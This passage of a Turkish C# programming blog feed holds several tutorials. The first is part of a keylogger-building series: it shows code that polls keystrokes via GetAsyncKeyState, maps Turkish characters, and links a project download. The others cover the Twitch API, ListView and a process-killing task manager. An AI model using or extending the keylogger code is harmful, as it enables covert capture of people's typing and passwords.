&lt;p&gt;Hatırlarsanız aldığımız harfleri &lt;code&gt;bytes&lt;/code&gt; adında bir byte listesine atıyorduk. Ancak Türkçe karakterlerin bazılarının karakter kodu 255&#39;i geçtiği için byte olan listeyi Int16 (short) olarak güncelledim. Siz de aşağıdaki gibi değiştirmelisiniz.&lt;/p&gt;

&lt;pre&gt;static List&lt;Int16&gt; bytes = new List&lt;Int16&gt;();&lt;/pre&gt;

&lt;p&gt;* Renklendirmeler dikkatinizi dağıtmasın abidik gubidik görünüyor kodlar.&lt;/p&gt;

&lt;p&gt;Şimdi Program sınıfında bir short parametresi alıp yine short döndüren bir method yazacağız. Aldığımız her karakteri bu methoddan geçirip karakter kodu listesine ondan sonra ekleyeceğiz.&lt;/p&gt;

&lt;pre&gt;static Int16 MakeChar(Int16 key)
{
    return key;
}&lt;/pre&gt;

&lt;p&gt;Method içinde iki tane short dizisi tanımlayacağız. İlki (keycode) klavyeden gelen kodları, ikincisi (charcode) Türkçe karakter karşılıklarını tutuyor.&lt;/p&gt;

&lt;pre&gt;Int16[] keycode = { 220, 219, 222, 191, 186, 221 }, charcode = { 199, 286, 304, 214, 350, 220, 231, 287, 105, 246, 351, 252 };&lt;/pre&gt;

&lt;p&gt;İlk dizide altı, ikincide on iki eleman olduğu dikkatinizi çekmiştir. İkinci dizideki altıncı elemandan sonrası küçük harflerin kodları. Caps Lock durumuna göre dizi içinden istediğimiz karakteri alacağız. Şimdi methoda parametre olarak gelen kodun ilk dizi (keycode) içinde olup olmadığına (yani basılan tuşun Türkçe karakter olup olmadığına) bakacağız.&lt;/p&gt;

&lt;pre&gt;int keyIndex = Array.IndexOf(keycode, key);&lt;/pre&gt;

&lt;p&gt;IndexOf methodu verilen değerin, dizi içinde olup olmadığına bakar. Eğer varsa index numarasını yoksa -1 değeri döndürür.&lt;/p&gt;

&lt;p&gt;Şimdi, bir önceki yazıda yaptığımız CapsLock ve Shift kontrolünü tekrar yapacağız fakat bu sefer bir değişkene atıp kullanacağız.&lt;/p&gt;

&lt;pre&gt;bool nocaps = (!Control.IsKeyLocked(Keys.CapsLock) &amp;&amp; Control.ModifierKeys != Keys.Shift) || (Control.IsKeyLocked(Keys.CapsLock) &amp;&amp; Control.ModifierKeys == Keys.Shift);

if (nocaps &amp;&amp; key &gt; 64 &amp;&amp; key &lt; 91)
{
    key = (Int16)(key == 73 ? 305 : key + 32);
}&lt;/pre&gt;

&lt;p&gt;Aynı kontrolün biraz daha açılmış halini yaptık. Ayriyeten kodda bir kontrol daha görüyorsunuz. Büyük &lt;code&gt;I&lt;/code&gt; harfini küçük harfe çevirirken &lt;code&gt;i&lt;/code&gt; olarak çevirdiği için kontrol edip &quot;i&quot; yerine &quot;ı&quot; yazdırmasını sağladık.&lt;/p&gt;

&lt;p&gt;Şimdi if kontrolümüzü aşağıdaki gibi değiştirelim ve yukarıda aldığımız keyIndex değerinin kontrolünü yapalım.&lt;/p&gt;

&lt;pre&gt;if (nocaps &amp;&amp; key &gt; 64 &amp;&amp; key &lt; 91)
{
    key = (Int16)(key == 73 ? 305 : key + 32);
}
else if (keyIndex != -1)
{
    key = nocaps ? charcode[keyIndex + 6] : charcode[keyIndex];
}&lt;/pre&gt;

&lt;p&gt;Parametre olarak gelen değer keycode içinde var mı diye baktıktan sonra eğer ki varsa (dönen değer -1 değilse) gelen kodu &lt;code&gt;charcode&lt;/code&gt; içindeki kendi index&#39;ine karşılık gelen değer ile değiştirdik. Eğer ki CapsLock ve Shift kapalı ya da her ikisi de açıksa (nocaps) index değerine altı ekledik. Çünkü altı türkçe karakterden sonra aynı karakterlerin sırasıyla küçük harfleri var.&lt;/p&gt;

&lt;p&gt;Methodun son hali aşağıdaki gibi.&lt;/p&gt;

&lt;pre&gt;static Int16 MakeChar(Int16 key)
{
    Int16[] keycode = { 220, 219, 222, 191, 186, 221 }, charcode = { 199, 286, 304, 214, 350, 220, 231, 287, 105, 246, 351, 252 };
    int keyIndex = Array.IndexOf(keycode, key);
            
    bool nocaps = (!Control.IsKeyLocked(Keys.CapsLock) &amp;&amp; Control.ModifierKeys != Keys.Shift) || (Control.IsKeyLocked(Keys.CapsLock) &amp;&amp; Control.ModifierKeys == Keys.Shift);

    if (nocaps &amp;&amp; key &gt; 64 &amp;&amp; key &lt; 91)
    {
        key = (Int16)(key == 73 ? 305 : key + 32);
    }
    else if (keyIndex != -1)
    {
        key = nocaps ? charcode[keyIndex + 6] : charcode[keyIndex];
    }

     Debug.Write((char)key);

    return key;
}&lt;/pre&gt;

&lt;p&gt;Methodun işe yarayıp yaramadığını test etmek için tuş basılma kontrolü yaptığımız yeri aşağıdaki gibi güncelledikten sonra Debug işlemini başlatıp Türkçe bir şeyler yazmayı deneyin.&lt;/p&gt;

&lt;pre&gt;if (GetAsyncKeyState(i).Equals(Int16.MinValue + 1))
{
    Int16 key = MakeChar(i);
    bytes.Add(key);

    break;
}&lt;/pre&gt;

&lt;p&gt;Bu kadar. Bir sonraki yazıda harflerin ve sayıların üzerindeki özel karakterleri tanımaya çalışacağız.&lt;/p&gt;

&lt;p&gt;Projenin buraya kadar olan bölümünü indirmek için &lt;a href=&quot;https://www.dropbox.com/s/lr9hk50mz62qc9w/KeyloggerExample2.rar?dl=0&quot; target=&quot;_blank&quot;&gt;&lt;i class=&quot;fa fa-fw fa-cloud&quot;&gt;&lt;/i&gt; KeyloggerExample2.rar&lt;/a&gt; linkine tıklayabilirsiniz.&lt;/p&gt;</description><link>http://safkaninsan.blogspot.com/2015/08/csharp-keylogger-yapimi-2.html</link><author>noreply@blogger.com (Umut Çağdaş Coşkun)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTmuLWRFf5ZqM62yIRTAHGjV5eFrTIJNm31wy7i7Ybca2SuUW82E9IiIWim9iZL9V4Y8xim2xhiVN7hWdrm3iMDnf2lW6fDK-3Q7UZwnZPjbtPCZ1Aa43DnrHhT6cgrrTmdyL3Xiw2VtI/s72-c/pulp-fiction.jpg" height="72" width="72"/><thr:total>4</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1600440649102946528.post-7349988994259328858</guid><pubDate>Wed, 12 Aug 2015 02:31:00 +0000</pubDate><atom:updated>2015-08-23T19:02:07.065+03:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">.net</category><category domain="http://www.blogger.com/atom/ns#">c#</category><category domain="http://www.blogger.com/atom/ns#">json</category><category domain="http://www.blogger.com/atom/ns#">rest</category><category domain="http://www.blogger.com/atom/ns#">twitch</category><title>C# - Twitch API Kullanımı</title><description>&lt;p&gt;Twitch&#39;deki yayınlar, kanallar ya da kullanıcılar hakkında anlık bilgi edinebileceğimiz bir API&#39;si var. Bu yazıda bunu kullanarak verilen kanal adına göre yayıncının o anda online olup olmadığını kontrol eden basit bir program yazacağız.&lt;/p&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;

&lt;figure&gt;&lt;img alt=&quot;C# - Twitch API Kullanımı&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqows4BNe3zYkblbaOqY9CTzz4Fk-TrTsF-G6od7ixaZKEr1dK1qfYwjqLdr_vANig403bTrBrB27NTGEM79o3dHMy9hN9n0Wnj63pm6IdXM08dpQ2n5-F2x2bbSqIl10eyuNXe-KS-c4/s1600/twitch-api-csharp.pn&quot; /&gt;&lt;figcaption&gt;Örnek için hazırladığım form.&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;API adresi &lt;a href=&quot;https://api.twitch.tv/kraken/streams&quot; target=&quot;_blank&quot;&gt;şurada&lt;/a&gt;. Adresin &lt;code&gt;channels&lt;/code&gt; parametresine kanal adını verdiğimizde o kanala ait bilgiler önümüze geliyor. Json formatındaki verinin içindeki &lt;code&gt;_total&lt;/code&gt; değeri kanalın o anda yayında olmadığını söylüyor. Eğer 1 ise online, 0 ise offline demektir.&lt;/p&gt;

&lt;h2&gt;Kanala Ait Verileri Getirme&lt;/h2&gt;
&lt;p&gt;API adresinden veriyi almak için &lt;code&gt;WebClient&lt;/code&gt; nesnesi kullanacağız. Önce bunun için projemize gerekli isim uzayını dahil edelim.&lt;/p&gt;

&lt;pre&gt;using System.Net;&lt;/pre&gt;

&lt;p&gt;Ardından &lt;code&gt;GetTwitchData&lt;/code&gt; isimli bir method oluşturduktan sonra &lt;code&gt;DownloadString&lt;/code&gt; methodundan gelen veriyi döndürelim. Bu veri -birazdan çözümleyeceğimiz- Json formatında olacaktır.&lt;/p&gt;

&lt;pre&gt;private string GetTwitchData(string channel)
{
    WebClient webClient = new WebClient();
    return webClient.DownloadString(&quot;https://api.twitch.tv/kraken/streams?channel=&quot; + channel);
}&lt;/pre&gt;


&lt;h2&gt;Dönen Veriyi Çözümleme&lt;/h2&gt;
&lt;p&gt;Json verisini C# içinde çözümleyebilmek için Json.NET paketini kurmamız gerekiyor. Bunun için &lt;code&gt;Tools&lt;/code&gt; menüsünden &lt;code&gt;NuGet Package Manager&lt;/code&gt; &gt; &lt;code&gt;Package Manager Console&lt;/code&gt; diyerek NuGet konsolunu açıp &lt;code&gt;Install-Package Newtonsoft.Json&lt;/code&gt; komutunu verelim. Birkaç saniye içerisinde kurulmuş olacaktır. Ardından aşağıdaki gibi projeye dahil edelim.&lt;/p&gt;

&lt;pre&gt;using Newtonsoft.Json.Linq;&lt;/pre&gt;

&lt;p&gt;Ardından parametre olarak verilen veriyi parse edip içindeki &lt;code&gt;_total&lt;/code&gt; değerini döndüren bir method yazalım.&lt;/p&gt;

&lt;pre&gt;private string ParseJsonData(string data)
{
    JObject jsonObject = JObject.Parse(data);
    return jsonObject[&quot;_total&quot;].ToString();
}&lt;/pre&gt;

&lt;p&gt;Son olarak yazdığımız iki methodu kullanacak olan &lt;code&gt;IsChannelOnline&lt;/code&gt; methodunu yazalım. Bize kanalın yayında olup olmadığını (true/false) söyleyecek.&lt;/p&gt;

&lt;pre&gt;private bool IsChannelOnline(string channel)
{
    string data = GetTwitchData(channel);
    return ParseJsonData(data).Equals(&quot;1&quot;);
}&lt;/pre&gt;

&lt;p&gt;İşte bu kadar. Artık sadece aldığımız cevaba göre &lt;code&gt;label2&lt;/code&gt; metnini düzenlemek kaldı. O da şöyle;&lt;/p&gt;

&lt;pre&gt;private void button1_Click(object sender, EventArgs e)
{
    if (IsChannelOnline(textBox1.Text))
    {
        label2.Text = &quot;Yayında&quot;;
    }
    else
    {
        label2.Text = &quot;Kapalı&quot;;
    }
}&lt;/pre&gt;

&lt;p&gt;Bu en basit örnekti. Bunun dışında yayıncının hangi oyunu oynadığını, kaç izleyicisinin olduğunu, hangi çözünürlükte ya da kaç FPS ile yayın yaptığını vs. öğrenebilirsiniz.&lt;/p&gt;

&lt;p&gt;Daha ayrıntılı bilgi için &lt;a href=&quot;https://github.com/justintv/twitch-api&quot; target=&quot;_blank&quot;&gt;GitHub reposuna&lt;/a&gt; bakabilir ya da &lt;a href=&quot;https://www.dropbox.com/s/v7cxxqtzcnoolho/TwitchApiExample1.rar?dl=0&quot; target=&quot;_blank&quot;&gt;&lt;i class=&quot;fa fa-fw fa-cloud&quot;&gt;&lt;/i&gt;TwitchApiExample1.rar&lt;/a&gt; linkinden örnek projeyi indirebilirsiniz.&lt;/p&gt;</description><link>http://safkaninsan.blogspot.com/2015/08/c-twitch-api-kullanm.html</link><author>noreply@blogger.com (Umut Çağdaş Coşkun)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqows4BNe3zYkblbaOqY9CTzz4Fk-TrTsF-G6od7ixaZKEr1dK1qfYwjqLdr_vANig403bTrBrB27NTGEM79o3dHMy9hN9n0Wnj63pm6IdXM08dpQ2n5-F2x2bbSqIl10eyuNXe-KS-c4/s72-c/twitch-api-csharp.pn" height="72" width="72"/><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1600440649102946528.post-8921286497097086798</guid><pubDate>Mon, 10 Aug 2015 01:02:00 +0000</pubDate><atom:updated>2015-08-10T04:12:27.971+03:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">.net</category><category domain="http://www.blogger.com/atom/ns#">c#</category><category domain="http://www.blogger.com/atom/ns#">görsel programlama</category><category domain="http://www.blogger.com/atom/ns#">visual studio</category><title>Görsel Programlama - ListView Kullanımı (C#)</title><description>&lt;p&gt;ListView, belirlediğinmiz sütunları gösterip satır satır bilgi listeleyebileceğimiz bir form bileşenidir. Çalışma mantığı ListBox ile hemen hemen aynıdır. Tek farkı, bir tek sütun yerine istediğimiz kadar excell tarzı hücre belirleyebiliyor olmamız. Bununla beraber liste elemanlarına ikon ya da CheckBox ekleme gibi özellikleri de var. Yani CheckedListBox gibi de kullanılabilir.&lt;/p&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;

&lt;figure&gt;&lt;img alt=&quot;Görsel Programlama - ListView Kullanımı (C#)&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLSPvM1Ku8Wy73wTf0gR7MSQNIHxTfsgNvSwNwOLwxoUFjGaVKo_VoOWsuV7uJkcN3rxm4IL664k_i8S-l2qcN14QpSy4bhrKHqsHrcLj7k6-xtYq3vrRNfm1tfUOgNBFnI0pHhJHJgdo/s1600/csharp_listview.png&quot; /&gt;&lt;figcaption&gt;Örnek ListView kullanımı. Örnekler bunun üzerinden gidecek.&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;ListView kullanmanın ilk adımı sütunları oluşturup boyutlarını belirlemek. Sütunları eklemeden önce görünebilmesi için görünüm modunu &quot;detaylar&quot; olarak ayarlayacağız.&lt;/p&gt;

&lt;pre&gt;private void Form1_Load(object sender, EventArgs e)
{
    listView1.View = View.Details;
    listView1.FullRowSelect = true;

    listView1.Columns.Add(&quot;Ad&quot;, 150);
    listView1.Columns.Add(&quot;Soyad&quot;, 150);
    listView1.Columns.Add(&quot;Meslek&quot;, 150);
}&lt;/pre&gt;

&lt;p&gt;Bir hücre seçildiğinde tüm satırın seçili hale gelmesi için &lt;code&gt;FullRowSelect&lt;/code&gt; özelliğini aktif yaptık.&lt;/p&gt;

&lt;h2&gt;&lt;i class=&quot;fa fa-fw fa-plus&quot;&gt;&lt;/i&gt; Yeni Kayıt Ekleme&lt;/h2&gt;
&lt;p&gt;Kayıt eklemek için TextBox&#39;lardaki bilgileri bir diziye atıp o diziden &lt;code&gt;ListViewItem&lt;/code&gt; -liste elemanı- üretip onu da &lt;code&gt;listView1&lt;/code&gt; içine ekledik.&lt;/p&gt;

&lt;pre&gt;private void button1_Click(object sender, EventArgs e)
{
    string ad = textBox1.Text;
    string soyad = textBox2.Text;
    string meslek = textBox3.Text;

    string[] bilgiler = { ad, soyad, meslek };

    listView1.Items.Add(new ListViewItem(bilgiler));

    textBox1.Clear();
    textBox2.Clear();
    textBox3.Clear();
}&lt;/pre&gt;

&lt;p&gt;Son olarak da &lt;code&gt;Clear&lt;/code&gt; ile &lt;code&gt;TextBox&lt;/code&gt; içlerine yazılanları temizledik.&lt;/p&gt;

&lt;h2&gt;&lt;i class=&quot;fa fa-fw fa-refresh&quot;&gt;&lt;/i&gt; Tüm Kayıtları Temizleme&lt;/h2&gt;
&lt;p&gt;Elemanları silmek için &lt;code&gt;Items&lt;/code&gt; koleksiyonundaki &lt;code&gt;Clear&lt;/code&gt; methodunu kullandık.&lt;/p&gt;

&lt;pre&gt;private void button3_Click(object sender, EventArgs e)
{
    listView1.Items.Clear();
}&lt;/pre&gt;

&lt;h2&gt;&lt;i class=&quot;fa fa-fw fa-question&quot;&gt;&lt;/i&gt; Kayıt Sayısını Öğrenme&lt;/h2&gt;
&lt;p&gt;Yine &lt;code&gt;Items&lt;/code&gt; koleksiyonundaki &lt;code&gt;Count&lt;/code&gt; özelliği kayıtlı liste elemanı sayısını verir.&lt;/p&gt;

&lt;pre&gt;private void button4_Click(object sender, EventArgs e)
{
    int kayitSayisi = listView1.Items.Count;
    MessageBox.Show(kayitSayisi + &quot; adet kayıt bilgisi var.&quot;);
}&lt;/pre&gt;

&lt;h2&gt;&lt;i class=&quot;fa fa-fw fa-remove&quot;&gt;&lt;/i&gt; Seçili Elemanı Silme&lt;/h2&gt;
&lt;p&gt;ListView içindeki &lt;code&gt;SelectedItems&lt;/code&gt; koleksiyonu içinde o an seçili olan elemanları tutar. Bir döngü yardımıyla koleksiyonu dolaşıp tüm elemanları tek tek silebiliriz.&lt;/p&gt;

&lt;pre&gt;private void button2_Click(object sender, EventArgs e)
{
    int secimSayisi = listView1.SelectedItems.Count;

    foreach (ListViewItem bilgi in listView1.SelectedItems)
    {
        bilgi.Remove();
    }

    MessageBox.Show(secimSayisi + &quot; adet kayıt silindi.&quot;);
}&lt;/pre&gt;

&lt;h3&gt;&lt;i class=&quot;fa fa-fw fa-check&quot;&gt;&lt;/i&gt; Sadece işaretli olanları silme&lt;/h3&gt;
&lt;p&gt;Eğer sadece check atılmış olan elemanları silmek isterseniz önce &lt;code&gt;Form1_Load&lt;/code&gt; olayında &lt;code&gt;CheckBoxes&lt;/code&gt; özelliğini aktif yapmalısınız.&lt;/p&gt;

&lt;pre&gt;listView1.CheckBoxes = true;&lt;/pre&gt;

&lt;p&gt;Ardından tıpkı seçili elemanlarda olduğu gibi &lt;code&gt;CheckedItems&lt;/code&gt; koleksiyonundaki elemanları silmelisiniz.&lt;/p&gt;

&lt;pre&gt;foreach (ListViewItem bilgi in listView1.CheckedItems)
{
    bilgi .Remove();
}&lt;/pre&gt;

&lt;h2&gt;&lt;i class=&quot;fa fa-fw fa-image&quot;&gt;&lt;/i&gt; Kayda Resim Ekleme&lt;/h2&gt;
&lt;p&gt;Resim ekleyebilmek için önce bir &lt;code&gt;ImageList&lt;/code&gt; oluşturup onu listenin &lt;code&gt;SmallImageList&lt;/code&gt; özelliğine atamalısınız.&lt;/p&gt;

&lt;pre&gt;private void Form1_Load(object sender, EventArgs e)
{
    ImageList imageList1 = new ImageList();

    // Resimleri ekle
    imageList1.Images.Add(&quot;ikon1&quot;, Image.FromFile(&quot;C:\\Resimler\\ikon1.png&quot;));
    imageList1.Images.Add(&quot;ikon2&quot;, Image.FromFile(&quot;C:\\Resimler\\ikon2.png&quot;));
    imageList1.Images.Add(&quot;ikon3&quot;, Image.FromFile(&quot;C:\\Resimler\\ikon3.png&quot;));

    listView1.SmallImageList = imageList1;
}&lt;/pre&gt;

&lt;p&gt;Daha sonra yeni eleman eklerden &lt;code&gt;ImageKey&lt;/code&gt; özelliğini &lt;code&gt;ImageList&lt;/code&gt; içinde belirlediğiniz resmin adı yapmalısınız.&lt;/p&gt;

&lt;pre&gt;private void button1_Click(object sender, EventArgs e)
{
    string ad = textBox1.Text;
    string soyad = textBox2.Text;
    string meslek = textBox3.Text;

    string[] bilgiler = { ad, soyad, meslek };

    ListViewItem eleman = new ListViewItem(bilgiler);
    eleman.ImageKey = &quot;ikon1&quot;;

    listView1.Items.Add(eleman);
}&lt;/pre&gt;

&lt;p&gt;Örnek projeyi indirmek isterseniz &lt;a href=&quot;https://www.dropbox.com/s/opgma0rlkjf2t39/ListViewExample1.rar?dl=0&quot; target=&quot;_blank&quot;&gt;&lt;i class=&quot;fa fa-fw fa-cloud&quot;&gt;&lt;/i&gt; ListViewExample1.rar&lt;/a&gt; linkine tıklayabilirsiniz.&lt;/p&gt;</description><link>http://safkaninsan.blogspot.com/2015/08/gorsel-programlama-listview-kullanimi-csharp.html</link><author>noreply@blogger.com (Umut Çağdaş Coşkun)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLSPvM1Ku8Wy73wTf0gR7MSQNIHxTfsgNvSwNwOLwxoUFjGaVKo_VoOWsuV7uJkcN3rxm4IL664k_i8S-l2qcN14QpSy4bhrKHqsHrcLj7k6-xtYq3vrRNfm1tfUOgNBFnI0pHhJHJgdo/s72-c/csharp_listview.png" height="72" width="72"/><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1600440649102946528.post-3419638107054641579</guid><pubDate>Sat, 08 Aug 2015 15:01:00 +0000</pubDate><atom:updated>2015-08-08T18:01:31.809+03:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">.net</category><category domain="http://www.blogger.com/atom/ns#">c#</category><title>C# - Gelişmiş Görev Yöneticisi Yapma</title><description>&lt;p&gt;Bilgisayar üzerinde çalışan işlemleri görebileceğimiz ve istediğimizi sonlandırabileceğimiz bir uygulama yapacağız. Program üzerinden yeni bir işlem başlatabileceğiz. Ayriyeten yasaklılar listesine aldığımız işlemleri sürekli takip edip çalışmaya başladıklarında otomatik kapatan bir sistem yapacağız. Bu yüzden gelişmiş görev yöneticisi demeyi tercih ettim. :)&lt;/p&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;

&lt;figure&gt;&lt;img alt=&quot;C# - Gelişmiş Görev Yöneticisi Yapma (Task Manager)&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8xOW2tF8CjDszR7YWLrZKtCVg3VSsuuQ5G_uXH2dGJ_0c5KOprXhndG5J4YwsZdnyQfyZxq6_PUX_UnptNvu5CQOlC-kzUHBn94d_bnO0mbN7KlW5Ny4bQW-xaS8Q5xsv1ZUCvVFbPRw/s1600/csharp_task_manager.png&quot; /&gt;&lt;figcaption&gt;Hazırladığım form böyle görünüyor.&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;Başlamadan önce, &lt;code&gt;Process&lt;/code&gt; sınıfını kullanabilmek için projeye gerekli isim uzayını ekleyelim.&lt;/p&gt;

&lt;pre&gt;using System.Diagnostics;&lt;/pre&gt;

&lt;p&gt;Ardından form tasarımını istediğiniz gibi yapın. Ben yukarıdaki örnek üzerinden gideceğim. Ayriyeten forma bir tane &lt;code&gt;Timer&lt;/code&gt; nesnesi ekleyin.&lt;/p&gt;

&lt;h2&gt;Gerekli Methodlar&lt;/h2&gt;

&lt;p&gt;Önce &lt;code&gt;Form1&lt;/code&gt; içinde, çalışan tüm işlemleri alıp &lt;code&gt;listBox1&lt;/code&gt; içine listeleyen methodu yazalım.&lt;/p&gt;

&lt;pre&gt;private void getProcesses()
{
    Process[] processes = Process.GetProcesses();

    listBox1.Items.Clear();
    foreach (Process process in processes)
    {
        listBox1.Items.Add(process.ProcessName);
    }
}&lt;/pre&gt;

&lt;p&gt;Çalışan işlemleri &lt;code&gt;GetProcesses&lt;/code&gt; methodu ile aldıktan sonra bir &lt;code&gt;Process&lt;/code&gt; dizisine attık. Sonra &lt;code&gt;listBox1&lt;/code&gt; elemanlarını temizleyip dizideki işlemleri teker teker yazdırdık.&lt;/p&gt;

&lt;p&gt;Şimdi &lt;code&gt;listBox1&lt;/code&gt; içinden seçili olan işlemi sonlandıracak methodu yazalım.&lt;/p&gt;

&lt;pre&gt;private void killSelectedProcesses()
{
    DialogResult dialogResult = MessageBox.Show(&quot;İşlemi sonlandırmak istiyor musunuz?&quot;, &quot;Dikkat&quot;, MessageBoxButtons.YesNo);

    if (dialogResult.Equals(DialogResult.Yes))
    {
        var processName = listBox1.SelectedItem;
        Process[] processes = Process.GetProcessesByName(processName.ToString());

        foreach (Process process in processes)
        {
            Debug.WriteLine(&quot;İşlem sonlandırıldı: &quot; + process.ProcessName);
            process.Kill();
        }

        MessageBox.Show(&quot;İşlem sonlandırıldı: &quot; + processName, &quot;Başarılı&quot;);
    }            
}&lt;/pre&gt;

&lt;p&gt;Önce, kullanıcıya işlemi sonlandırmak isteyip istemediğini sorup dönen cevabı &lt;code&gt;dialogResult&lt;/code&gt; içinde sakladık. Ardından gelen cevap &lt;code&gt;DialogResult.Yes&lt;/code&gt; ise yani kullanıcı kabul etmişse; &lt;code&gt;listBox1&lt;/code&gt; içinden seçilen işlem adını alıp &lt;code&gt;GetProcessesByName&lt;/code&gt; methodu ile o isimli tüm işlemleri yakaladık. Sonra da bir döngü yardımıyla yakalanan tüm işlemleri teker teker sonlandırdık ve &lt;code&gt;Debug.WriteLine&lt;/code&gt; ile log olarak yazdırdık.&lt;/p&gt;

&lt;p&gt;Yasaklanan işlemler &lt;code&gt;listBox2&lt;/code&gt; içinde görüntülenecek. Şimdi bu işlemleri sonlandıracak methodu yazalım.&lt;/p&gt;

&lt;pre&gt;private void killBannedProcesses()
{
    foreach (string processName in listBox2.Items)
    {
        Process[] processes = Process.GetProcessesByName(processName);

        foreach (Process process in processes)
        {
            Debug.WriteLine(&quot;İşlem sonlandırıldı: &quot; + process.ProcessName);
            process.Kill();
        }
    }
}&lt;/pre&gt;

&lt;p&gt;Bir döngü ile &lt;code&gt;listBox2&lt;/code&gt; içindeki tüm elemanları dolaşıp hepsi için teker teker o isimli işlemleri yakalayıp sonlandırdık. Aslında bir bakıma &lt;code&gt;killSelectedProcesses&lt;/code&gt; methodu ile aynı işlemi yaptık.&lt;/p&gt;

&lt;p&gt;Son olarak aldığı parametreye göre &lt;code&gt;button1&lt;/code&gt; ve &lt;code&gt;button2&lt;/code&gt; -sonlandır ve yasakla- butonlarının aktif/pasif olma durumunu ayarlayan bir method yazalım.&lt;p&gt;

&lt;pre&gt;private void setButtonsEnabledState(bool state)
{
    button1.Enabled = state;
    button2.Enabled = state;
}&lt;/pre&gt;

&lt;h3&gt;Olaylar (Events)&lt;/h3&gt;
&lt;p&gt;Önce &lt;code&gt;Form1_Load&lt;/code&gt; içinde &lt;code&gt;setButtonsEnabledState&lt;/code&gt; ile sonlandır ve yasakla butonlarını pasif yapalım. Form içine eklediğimiz &lt;code&gt;Timer&lt;/code&gt; nesnesinin &lt;code&gt;Interval&lt;/code&gt; özelliğini 10.000 MS (10 saniye) yapalım ve &lt;code&gt;Start&lt;/code&gt; ile başlatalım. Sonra da &lt;code&gt;getProcesses&lt;/code&gt; ile çalışan işlemleri listeleyelim.&lt;/p&gt;

&lt;pre&gt;private void Form1_Load(object sender, EventArgs e)
{
    this.setButtonsEnabledState(false);

    timer1.Interval = 10000;
    timer1.Start();

    this.getProcesses();
}&lt;/pre&gt;

&lt;p&gt;Şimdi &lt;code&gt;timer1_Tick&lt;/code&gt; olayında, yani her on saniyede bir &lt;code&gt;getProcesses&lt;/code&gt; ile çalışan işlemleri listeleyip, &lt;code&gt;killBannedProcesses&lt;/code&gt; ile yasaklanmış işlemleri sonlandırdıktan sonra &lt;code&gt;setButtonsEnabledState&lt;/code&gt; ile butonları pasif yapalım.&lt;/p&gt;

&lt;pre&gt;private void timer1_Tick(object sender, EventArgs e)
{
    this.getProcesses();
    this.killBannedProcesses();
    this.setButtonsEnabledState(false);
}&lt;/pre&gt;

&lt;p&gt;Sonlandır butonuna tıklandığında (butona tıklayıp içine girin) seçili işlemi sonlandıran &lt;code&gt;killSelectedProcesses&lt;/code&gt; methodunu çağıralım.&lt;/p&gt;

&lt;pre&gt;private void button1_Click(object sender, EventArgs e)
{
    this.killSelectedProcesses();
}&lt;/pre&gt;

&lt;p&gt;Yasakla butonuna tıklandığında &lt;code&gt;listBox1&lt;/code&gt; içinden seçili işlemi eğer &lt;code&gt;listBox2&lt;/code&gt; içinde yoksa oraya taşıyalım ve &lt;code&gt;killBannedProcesses&lt;/code&gt; ile yasaklı işlemleri sonlandıralım.&lt;/p&gt;

&lt;pre&gt;private void button2_Click(object sender, EventArgs e)
{
    string processName = listBox1.SelectedItem.ToString();

    if (listBox2.Items.Contains(processName))
    {
        MessageBox.Show(&quot;Bu işlemi zaten yasakladınız.&quot;, &quot;Hata&quot;);
        return;
    }

    listBox2.Items.Add(processName);
    this.killBannedProcesses();
}&lt;/pre&gt;

&lt;p&gt;Şimdi, &lt;code&gt;listBox1_KeyDown&lt;/code&gt; olayında -yani bir tuşa basıldığında- eğer basılan tuş DELETE ise &lt;code&gt;killSelectedProcesses&lt;/code&gt; methodu ile seçili işlemi sonlandıracağız.&lt;/p&gt;

&lt;pre&gt;private void listBox1_KeyDown(object sender, KeyEventArgs e)
{
    if (e.KeyData.Equals(Keys.Delete))
    {
        this.killSelectedProcesses();
    }
}&lt;/pre&gt;

&lt;p&gt;Bir elementin olaylarına erişmek için, elemente (burada ListBox) sağ tıklayıp &lt;code&gt;Properties&lt;/code&gt; dedikten sonra sağ alt kısımdaki panelden yıldırım ikonuna tıklayın. Açılan listede o elemente ait olayları görüyor olacaksınız. Listeden &lt;code&gt;KeyDown&lt;/code&gt; olayını bulup karşısındaki boşluğa çift tıklarsanız Visual Studio olayın methodunu oluşturacaktır.&lt;/p&gt;

&lt;figure&gt;&lt;img alt=&quot;Properties (özellikler) paneli ve olaylar (events) butonu.&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimMq_HGlAiNPBaQCfGLKO_y-YV0SjdFl3WP1CNJ7hw9vQ7YvOwEyXKyGqeRXEsDrlatYVa2b8Y6MVbHNPyN-3kM6Ev5LPgvjnf3yzdckJJDpS1UK2FXFCAPrLcNj1E-0zMCPCXEame1ZM/s1600/listbox_properties.png&quot; /&gt;&lt;figcaption&gt;Properties (özellikler) paneli ve olaylar (events) butonu.&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;Şimdi &lt;code&gt;listBox2&lt;/code&gt; içinde DELETE tuşuna basıldığında sadece seçili işlemin listeden silinmesini sağlayacağız. Böylece yasaklanan işlemin yasağı kalkmış olacak. Az önce yaptığınız gibi &lt;code&gt;listBox2&lt;/code&gt; için de &lt;code&gt;KeyDown&lt;/code&gt; olayı oluşturalım.&lt;/p&gt;

&lt;pre&gt;private void listBox2_KeyDown(object sender, KeyEventArgs e)
